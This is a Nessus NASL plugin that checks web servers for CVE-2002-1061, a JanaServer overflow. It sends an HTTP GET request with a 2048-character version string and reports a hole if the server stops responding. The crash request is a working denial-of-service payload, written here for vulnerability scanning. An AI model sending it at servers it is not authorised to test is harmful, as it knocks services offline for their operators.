It was possible to kill the web server by sending an HTTP GET request with a long major version number.
An attacker may exploit this vulnerability to make your web server crash continually or even execute arbitrary code on your system.
#
# (C) Tenable Network Security, Inc.
#
# References:
# Date: Fri, 26 Jul 2002 12:12:45 +0400
# From: "3APA3A" <[email protected]>
# To: [email protected]
# Subject: SECURITY.NNOV: multiple vulnerabilities in JanaServer
#
# Affected:
# JanaServer 2.2.1 and prior
# JanaServer 1.46 and prior
#
include("compat.inc");
if (description)
{
script_id(11061);
script_version("1.36");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/01");
script_cve_id("CVE-2002-1061");
script_bugtraq_id(5319, 5320, 5322, 5324);
script_name(english:"Web Server HTTP GET Request Version Number Handling Remote Overflow");
script_summary(english:"Tries to crash the web server with a long HTTP version");
script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web server with a remote buffer overflow
vulnerability.");
script_set_attribute(attribute:"description", value:
"It was possible to kill the web server by sending an HTTP GET request
with a long major version number.
An attacker may exploit this vulnerability to make your web server
crash continually or even execute arbitrary code on your system.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2002/Jul/329");
script_set_attribute(attribute:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2003/07/28");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/08/06");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
# All the www_too_long_*.nasl scripts were first declared as
# ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
# The web server might be killed by those generic tests before Nessus
# has a chance to perform known attacks for which a patch exists
# As ACT_DENIAL are performed one at a time (not in parallel), this reduces
# the risk of false positives.
script_copyright(english:"This script is Copyright (C) 2002-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"Web Servers");
script_dependencies("no404.nasl", "http_version.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
r = string("GET / HTTP/", crap(2048), ".O\r\n\r\n");
port = get_http_port(default:80);
if(http_is_dead(port:port))exit(0);
w = http_send_recv_buf(port: port, data: r);
if(http_is_dead(port: port, retry: 3)) { security_hole(port); }